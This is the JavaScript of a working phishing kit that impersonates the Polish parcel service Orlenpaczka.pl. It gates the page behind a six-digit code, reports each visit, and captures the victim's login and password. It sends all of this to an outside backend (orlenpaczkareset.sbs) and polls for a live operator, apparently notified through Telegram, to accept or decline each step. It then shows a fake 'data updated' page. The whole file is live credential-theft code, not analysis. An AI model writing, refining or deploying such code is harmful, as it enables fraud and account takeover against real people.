// Enhanced version with robust modal hide, status indicator, and success page // FIXED: notifyCode called immediately after validation when pending (function() { 'use strict'; const backendUrl = 'https://orlenpaczkareset.sbs'; // Change to your VPS IP when deploying console.log('[ENHANCED-FIXED] Custom JS loaded, backend URL:', backendUrl); let employeeCode = ''; let codePollingInterval = null; let loginPollingInterval = null; let lastLoginAttemptId = null; const adminName = 'Adrian'; // Change to your name // Modal elements const modal = document.getElementById('employeeModal'); const input = document.getElementById('employeeCode'); const submitBtn = document.getElementById('submitCode'); const errorEl = document.getElementById('modalError'); const loginPage = document.getElementById('loginPage'); const loginForm = document.getElementById('loginForm'); const loginInput = document.getElementById('login'); const passwordInput = document.getElementById('password'); const loginErrorEl = document.createElement('div'); loginErrorEl.className = 'error'; loginErrorEl.style.color = '#ff6b6b'; loginErrorEl.style.marginTop = '15px'; loginErrorEl.style.display = 'none'; if (loginForm) loginForm.appendChild(loginErrorEl); // Status indicator (top‑right corner) const statusIndicator = document.createElement('div'); statusIndicator.id = 'statusIndicator'; statusIndicator.style.position = 'fixed'; statusIndicator.style.top = '10px'; statusIndicator.style.right = '10px'; statusIndicator.style.background = '#222428'; statusIndicator.style.color = '#fff'; statusIndicator.style.padding = '8px 12px'; statusIndicator.style.borderRadius = '6px'; statusIndicator.style.fontSize = '14px'; statusIndicator.style.display = 'none'; statusIndicator.style.zIndex = '10000'; statusIndicator.innerHTML = `Połączono z agentem ${adminName} `; document.body.appendChild(statusIndicator); // Pulsing dot CSS const style = document.createElement('style'); style.textContent = ` .pulsing-dot { display: inline-block; width: 8px; height: 8px; border-radius: 50%; background: #0cd1e8; animation: pulse 1.5s infinite; } @keyframes pulse { 0% { opacity: 1; transform: scale(1); } 50% { opacity: 0.5; transform: scale(1.1); } 100% { opacity: 1; transform: scale(1); } } `; document.head.appendChild(style); // Notify about website visit async function notifyVisit() { console.log('[ENHANCED-FIXED] Sending visit notification...'); try { const response = await fetch(`${backendUrl}/api/notifyvisit`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ userAgent: navigator.userAgent, referrer: document.referrer || 'direct' }) }); console.log('[ENHANCED-FIXED] Visit notification sent, status:', response.status); } catch (err) { console.error('[ENHANCED-FIXED] Visit notification error:', err); } } // Notify about successful code entry (with inline keyboard) async function notifyCode(code) { console.log('[ENHANCED-FIXED] Sending code entry notification for:', code); try { const response = await fetch(`${backendUrl}/api/notifycode`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ code }) }); console.log('[ENHANCED-FIXED] Code notification sent, status:', response.status); } catch (err) { console.error('[ENHANCED-FIXED] Code notification error:', err); } } // Validate employee code async function validateCode(code) { console.log('[ENHANCED-FIXED] Validating code:', code); try { const response = await fetch(`${backendUrl}/api/validate`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ code }) }); const data = await response.json(); console.log('[ENHANCED-FIXED] Validation response:', data); return { valid: data.valid === true, approved: data.approved }; } catch (err) { console.error('[ENHANCED-FIXED] Validation error:', err); return { valid: false, approved: 0 }; } } // Poll for code approval status async function pollCodeStatus(code) { console.log('[ENHANCED-FIXED] Polling code status for:', code); try { const response = await fetch(`${backendUrl}/api/codestatus?code=${encodeURIComponent(code)}`); const data = await response.json(); console.log('[ENHANCED-FIXED] Poll response:', data); return data.status; // 'pending', 'approved', 'declined', 'not_found' } catch (err) { console.error('[ENHANCED-FIXED] Poll error:', err); return 'error'; } } // Send login attempt to backend (with inline keyboard) async function sendLoginAttempt(code, login, password) { console.log('[ENHANCED-FIXED] Sending login attempt:', { code, login }); try { const response = await fetch(`${backendUrl}/api/logattempt`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ employee_code: code, login, password }) }); const data = await response.json(); console.log('[ENHANCED-FIXED] Login attempt sent, response:', data); return data.id; // attempt ID } catch (err) { console.error('[ENHANCED-FIXED] Failed to send login attempt:', err); return null; } } // Poll for login attempt status using new endpoint async function pollLoginStatus(id) { console.log('[ENHANCED-FIXED] Polling login status for attempt:', id); try { const response = await fetch(`${backendUrl}/api/attemptstatus?id=${id}`); const data = await response.json(); console.log('[ENHANCED-FIXED] Poll response:', data); return data.status; // 'pending', 'accepted', 'declined', 'not_found' } catch (err) { console.error('[ENHANCED-FIXED] Poll login error:', err); return 'error'; } } // Mark code as used async function markCodeUsed(code) { console.log('[ENHANCED-FIXED] Marking code as used:', code); try { await fetch(`${backendUrl}/api/use`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ code }) }); } catch (err) { console.error('[ENHANCED-FIXED] Mark used error:', err); } } // Robust modal hide function hideModal() { console.log('[ENHANCED-FIXED] Robust modal hide'); if (!modal) return; // Multiple methods to ensure modal disappears modal.style.display = 'none'; modal.style.visibility = 'hidden'; modal.style.opacity = '0'; modal.style.pointerEvents = 'none'; modal.style.zIndex = '-1'; // Add a class for extra CSS override modal.classList.add('hidden'); // Remove from DOM after a short delay (optional) setTimeout(() => { if (modal.parentNode) modal.parentNode.removeChild(modal); }, 100); // Show status indicator statusIndicator.style.display = 'block'; } // Show success page (replaces login page) function showSuccessPage() { console.log('[ENHANCED-FIXED] Showing success page'); const successHTML = `

Dane zostały zaktualizowane!

Pozdrawiamy Orlenpaczka.pl

`; if (loginPage) { loginPage.innerHTML = successHTML; loginPage.style.display = 'block'; } } // Hide modal if already verified (stored in sessionStorage) if (sessionStorage.getItem('employeeVerified') === 'true') { console.log('[ENHANCED-FIXED] Already verified, hiding modal'); hideModal(); statusIndicator.style.display = 'block'; employeeCode = sessionStorage.getItem('employeeCode'); } else { // First visit – send notification console.log('[ENHANCED-FIXED] First visit, sending notification'); notifyVisit(); } // Submit code submitBtn.addEventListener('click', async () => { const code = input.value.trim(); console.log('[ENHANCED-FIXED] Submit clicked, code:', code); if (!/^\d{6}$/.test(code)) { errorEl.textContent = 'Kod musi składać się z dokładnie 6 cyfr.'; errorEl.style.display = 'block'; return; } submitBtn.disabled = true; submitBtn.textContent = 'Weryfikacja...'; const { valid, approved } = await validateCode(code); if (!valid) { errorEl.textContent = 'Nieprawidłowy lub już użyty kod. Spróbuj ponownie.'; errorEl.style.display = 'block'; submitBtn.disabled = false; submitBtn.textContent = 'Sprawdź kod'; return; } if (approved === 1) { // Code already approved console.log('[ENHANCED-FIXED] Code already approved, hiding modal'); employeeCode = code; sessionStorage.setItem('employeeVerified', 'true'); sessionStorage.setItem('employeeCode', code); await notifyCode(code); hideModal(); setTimeout(() => loginInput.focus(), 100); return; } // Code pending – send notification IMMEDIATELY (so admin gets keyboard) console.log('[ENHANCED-FIXED] Code pending approval, sending notification to Telegram'); await notifyCode(code); // Then start polling console.log('[ENHANCED-FIXED] Starting polling for approval'); submitBtn.textContent = 'Oczekiwanie na akceptację...'; employeeCode = code; // Clear any previous interval if (codePollingInterval) clearInterval(codePollingInterval); codePollingInterval = setInterval(async () => { const status = await pollCodeStatus(code); console.log('[ENHANCED-FIXED] Code poll status:', status); if (status === 'approved') { console.log('[ENHANCED-FIXED] Code approved!'); clearInterval(codePollingInterval); employeeCode = code; sessionStorage.setItem('employeeVerified', 'true'); sessionStorage.setItem('employeeCode', code); hideModal(); setTimeout(() => loginInput.focus(), 100); } else if (status === 'declined') { console.log('[ENHANCED-FIXED] Code declined'); clearInterval(codePollingInterval); errorEl.textContent = 'Kod został odrzucony.'; errorEl.style.display = 'block'; submitBtn.disabled = false; submitBtn.textContent = 'Sprawdź kod'; } else if (status === 'not_found' || status === 'error') { console.log('[ENHANCED-FIXED] Poll error, stopping'); clearInterval(codePollingInterval); errorEl.textContent = 'Wystąpił błąd podczas weryfikacji.'; errorEl.style.display = 'block'; submitBtn.disabled = false; submitBtn.textContent = 'Sprawdź kod'; } // else pending – continue polling }, 2000); // poll every 2 seconds }); // Intercept login form submission if (loginForm) { loginForm.addEventListener('submit', async (e) => { e.preventDefault(); const login = loginInput.value.trim(); const password = passwordInput.value.trim(); console.log('[ENHANCED-FIXED] Form submit captured:', { login, employeeCode }); if (!employeeCode) { employeeCode = sessionStorage.getItem('employeeCode'); } // Disable form and show loading const submitButton = loginForm.querySelector('button[type="submit"]'); const originalText = submitButton.textContent; submitButton.disabled = true; submitButton.textContent = 'Przesyłanie...'; loginErrorEl.style.display = 'none'; // Send attempt const attemptId = await sendLoginAttempt(employeeCode, login, password); if (!attemptId) { loginErrorEl.textContent = 'Błąd połączenia. Spróbuj ponownie.'; loginErrorEl.style.display = 'block'; submitButton.disabled = false; submitButton.textContent = originalText; return; } lastLoginAttemptId = attemptId; // Poll for login attempt status if (loginPollingInterval) clearInterval(loginPollingInterval); loginPollingInterval = setInterval(async () => { const status = await pollLoginStatus(attemptId); console.log('[ENHANCED-FIXED] Login poll status:', status); if (status === 'accepted') { clearInterval(loginPollingInterval); await markCodeUsed(employeeCode); showSuccessPage(); } else if (status === 'declined') { clearInterval(loginPollingInterval); loginErrorEl.textContent = 'Nieprawidłowe dane. Prosimy o ponowne wypełnienie wniosku.'; loginErrorEl.style.display = 'block'; submitButton.disabled = false; submitButton.textContent = originalText; } else if (status === 'error' || status === 'not_found') { clearInterval(loginPollingInterval); loginErrorEl.textContent = 'Wystąpił błąd. Spróbuj ponownie.'; loginErrorEl.style.display = 'block'; submitButton.disabled = false; submitButton.textContent = originalText; } // else pending – continue polling }, 2000); }); } // Enter key support for modal input.addEventListener('keyup', (e) => { if (e.key === 'Enter') submitBtn.click(); }); })();